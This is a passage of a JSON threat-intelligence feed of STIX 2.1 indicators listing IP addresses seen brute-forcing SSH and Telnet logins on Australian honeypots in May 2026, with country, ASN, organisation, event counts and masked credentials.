      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T02:15:18.000Z",
      "valid_until": "2026-06-14T02:15:08.000Z"
    },
    {
      "created": "2026-05-13T02:15:18.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MA. ASN(s): 36925. Organisation(s): ASMedi.",
      "id": "indicator--5ad70606-6948-44f9-b57f-e56eeb62e2f5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T02:15:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.127.173.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T02:15:18.000Z",
      "valid_until": "2026-06-14T02:15:08.000Z"
    },
    {
      "created": "2026-05-13T02:15:18.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--adde9755-1672-4bb1-bacd-c5d1969505ab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T02:15:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '206.168.201.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T02:15:18.000Z",
      "valid_until": "2026-06-14T02:15:08.000Z"
    },
    {
      "created": "2026-05-13T02:15:18.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--c1f25a2a-a7e0-432c-9a97-a7d87d36e2b1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T02:15:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.167.198.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T02:15:18.000Z",
      "valid_until": "2026-06-14T02:15:08.000Z"
    },
    {
      "created": "2026-05-13T02:15:18.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--182707d2-c789-40c8-b64d-ad3a5df02447",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T02:15:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T02:15:18.000Z",
      "valid_until": "2026-06-14T02:15:08.000Z"
    },
    {
      "created": "2026-05-13T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 204800. Organisation(s): WHG Hosting Services Ltd.",
      "id": "indicator--11471f8f-4510-4969-a7b3-733cdea64a2a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.250.235.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T03:15:11.000Z",
      "valid_until": "2026-06-14T03:15:08.000Z"
    },
    {
      "created": "2026-05-13T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--76de0f7e-4688-4d37-8d80-a40e2a5d645d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '206.135.174.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T03:15:11.000Z",
      "valid_until": "2026-06-14T03:15:08.000Z"
    },
    {
      "created": "2026-05-13T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 72. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********9, H**********************3.",
      "id": "indicator--2b2fbe26-dc1c-4d9a-9d7f-d73346eb655a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.38.210.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T03:15:11.000Z",
      "valid_until": "2026-06-14T03:15:08.000Z"
    },
    {
      "created": "2026-05-13T04:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--ff2c1914-a898-42ed-a335-ad8dc0e14d23",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T04:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.4.47.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T04:15:05.000Z",
      "valid_until": "2026-06-14T04:15:03.000Z"
    },
    {
      "created": "2026-05-13T04:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NP. ASN(s): 4007. Organisation(s): Subisu Cablenet Pvt Ltd, Baluwatar, Kathmandu, Nepal. Usernames observed (masked): r**t. Passwords observed (masked): b*****s.",
      "id": "indicator--a45fed6e-499b-40c7-8c5d-5e052b1f76af",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T04:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '163.47.151.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T04:15:05.000Z",
      "valid_until": "2026-06-14T04:15:03.000Z"
    },
    {
      "created": "2026-05-13T04:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): n******s.",
      "id": "indicator--27a69012-52e9-419f-8a68-4a184ab28d38",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T04:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '163.7.4.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T04:15:05.000Z",
      "valid_until": "2026-06-14T04:15:03.000Z"
    },
    {
      "created": "2026-05-13T04:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28573. Organisation(s): Claro NXT Telecomunicacoes Ltda.",
      "id": "indicator--6ad88b71-dc40-4036-92d0-cc07b4b20127",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T04:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.222.167.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T04:15:05.000Z",
      "valid_until": "2026-06-14T04:15:03.000Z"
    },
    {
      "created": "2026-05-13T04:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 52045. Organisation(s): PTRC-VIZIT.",
      "id": "indicator--4e44c93a-db93-4452-8178-8d06ea3e653a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T04:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.41.21.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T04:15:05.000Z",
      "valid_until": "2026-06-14T04:15:03.000Z"
    },
    {
      "created": "2026-05-13T04:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 11888. Organisation(s): Television Internacional, S.A. de C.V..",
      "id": "indicator--e2a2fd0f-58b3-4062-823b-124ba609871d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T04:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.219.246.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T04:15:05.000Z",
      "valid_until": "2026-06-14T04:15:03.000Z"
    },
    {
      "created": "2026-05-13T04:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TT. ASN(s): 27665. Organisation(s): Columbus Communications Trinidad Limited..",
      "id": "indicator--a872bf92-1791-4c4f-b64a-f2ca0831e792",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T04:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.213.135.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T04:15:05.000Z",
      "valid_until": "2026-06-14T04:15:03.000Z"
    },
    {
      "created": "2026-05-13T04:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 7738. Organisation(s): V tal.",
      "id": "indicator--7e4063a8-e74e-4e55-bddd-bb5662e6783b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T04:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '200.199.186.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T04:15:05.000Z",
      "valid_until": "2026-06-14T04:15:03.000Z"
    },
    {
      "created": "2026-05-13T04:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom.",
      "id": "indicator--78aa5139-45ea-4116-bc7b-4911a6c94cd7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T04:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '31.180.129.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T04:15:05.000Z",
      "valid_until": "2026-06-14T04:15:03.000Z"
    },
    {
      "created": "2026-05-13T04:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 72. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********4, H**********************3.",
      "id": "indicator--cbd6a536-c223-498b-9549-2e152690dea2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T04:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.22.203.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T04:15:05.000Z",
      "valid_until": "2026-06-14T04:15:03.000Z"
    },
    {
      "created": "2026-05-13T04:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 72. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********1, H**********************3.",
      "id": "indicator--d10d20be-acf9-4a78-afb4-a7830ee0417d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T04:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.76.98.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T04:15:05.000Z",
      "valid_until": "2026-06-14T04:15:03.000Z"
    },
    {
      "created": "2026-05-13T04:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BY. ASN(s): 6697. Organisation(s): Republican Unitary Telecommunication Enterprise Beltelecom.",
      "id": "indicator--639796bd-3ca8-492e-8cbc-b3fd92a69ea0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T04:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '37.214.0.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T04:15:05.000Z",
      "valid_until": "2026-06-14T04:15:03.000Z"
    },
    {
      "created": "2026-05-13T04:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: KE. ASN(s): 15399. Organisation(s): WANANCHI.",
      "id": "indicator--4af0ec09-292b-43c5-8967-c50d95de8374",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T04:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.212.42.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T04:15:05.000Z",
      "valid_until": "2026-06-14T04:15:03.000Z"
    },
    {
      "created": "2026-05-13T04:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 20001. Organisation(s): Charter Communications Inc.",
      "id": "indicator--d980b45f-e426-4384-9488-18c20d24bdaf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T04:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '76.167.221.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T04:15:05.000Z",
      "valid_until": "2026-06-14T04:15:03.000Z"
    },
    {
      "created": "2026-05-13T05:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 39431. Organisation(s): ArgoCom Ltd..",
      "id": "indicator--9a65e3bf-d567-4940-be54-9a2744dc4bde",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.108.106.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T05:15:12.000Z",
      "valid_until": "2026-06-14T05:15:08.000Z"
    },
    {
      "created": "2026-05-13T05:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--c34064fb-c66e-47b1-83cf-32ee71795fa4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.103.35.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T05:15:12.000Z",
      "valid_until": "2026-06-14T05:15:08.000Z"
    },
    {
      "created": "2026-05-13T05:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 6789. Organisation(s): Crelcom LLC.",
      "id": "indicator--537442c2-ff6b-4137-abcb-fe200bf2c900",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.109.204.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T05:15:12.000Z",
      "valid_until": "2026-06-14T05:15:08.000Z"
    },
    {
      "created": "2026-05-13T05:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 32098. Organisation(s): Transtelco Inc.",
      "id": "indicator--7666d45f-d7f1-49f4-baca-1b92d481b139",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.249.120.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T05:15:12.000Z",
      "valid_until": "2026-06-14T05:15:08.000Z"
    },
    {
      "created": "2026-05-13T05:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--b6b3a21d-0e21-42df-b808-b31ed722ff4b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.176.117.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T05:15:12.000Z",
      "valid_until": "2026-06-14T05:15:08.000Z"
    },
    {
      "created": "2026-05-13T05:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 215439. Organisation(s): Play2go International Limited.",
      "id": "indicator--ea819413-8f97-42f6-8d64-61cbd235e0e5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '2.26.103.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T05:15:12.000Z",
      "valid_until": "2026-06-14T05:15:08.000Z"
    },
    {
      "created": "2026-05-13T05:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--9d829eaf-cac0-4b4a-9c5a-fd1fa6f65feb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.167.169.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T05:15:12.000Z",
      "valid_until": "2026-06-14T05:15:08.000Z"
    },
    {
      "created": "2026-05-13T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--57eae7f8-7def-4042-be30-0d70181f4535",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '139.59.96.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T06:15:10.000Z",
      "valid_until": "2026-06-14T06:15:08.000Z"
    },
    {
      "created": "2026-05-13T06:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 36149. Organisation(s): Hawaiian Telcom Services Company, Inc..",
      "id": "indicator--4dba32c5-655b-4154-b854-12a8e605aabe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '141.239.96.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T06:15:10.000Z",
      "valid_until": "2026-06-14T06:15:08.000Z"
    },
    {
      "created": "2026-05-13T06:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--76dd97a8-b076-4306-8ec1-6cabfa7ff67c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.83.236.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T06:15:10.000Z",
      "valid_until": "2026-06-14T06:15:08.000Z"
    },
    {
      "created": "2026-05-13T06:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--2f04636d-b3a5-4511-aaa5-6f305d587080",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.202.117.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T06:15:10.000Z",
      "valid_until": "2026-06-14T06:15:08.000Z"
    },
    {
      "created": "2026-05-13T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 213. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 45722. Organisation(s): Widya Intersat Nusantara, PT. Usernames observed (masked): r**t, 3**********4, u***3, a***n, t**t. Passwords observed (masked): 3***********4, 3**********4, ***, 1*******3, 1*******a.",
      "id": "indicator--73bc0659-850f-4e55-a287-891e832b8096",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.178.94.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T06:15:10.000Z",
      "valid_until": "2026-06-14T06:15:08.000Z"
    },
    {
      "created": "2026-05-13T06:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BG. ASN(s): 8866. Organisation(s): Vivacom Bulgaria EAD.",
      "id": "indicator--aa784ed9-5acc-4e6b-a33f-98d606cf9e23",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '213.91.178.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T06:15:10.000Z",
      "valid_until": "2026-06-14T06:15:08.000Z"
    },
    {
      "created": "2026-05-13T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 29. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 137694. Organisation(s): CHINATELECOM Xinjiang Kezhou MAN network. Usernames observed (masked): r**t. Passwords observed (masked): -**************-, 5***************O, h******!, r********6.",
      "id": "indicator--553f5768-3318-40f1-a914-d0d714444739",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.107.94.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T06:15:10.000Z",
      "valid_until": "2026-06-14T06:15:08.000Z"
    },
    {
      "created": "2026-05-13T06:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 28433. Organisation(s): Doornet sa de cv.",
      "id": "indicator--b4a1d3bb-fa91-41e5-8d58-103b9faac8fe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.174.75.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
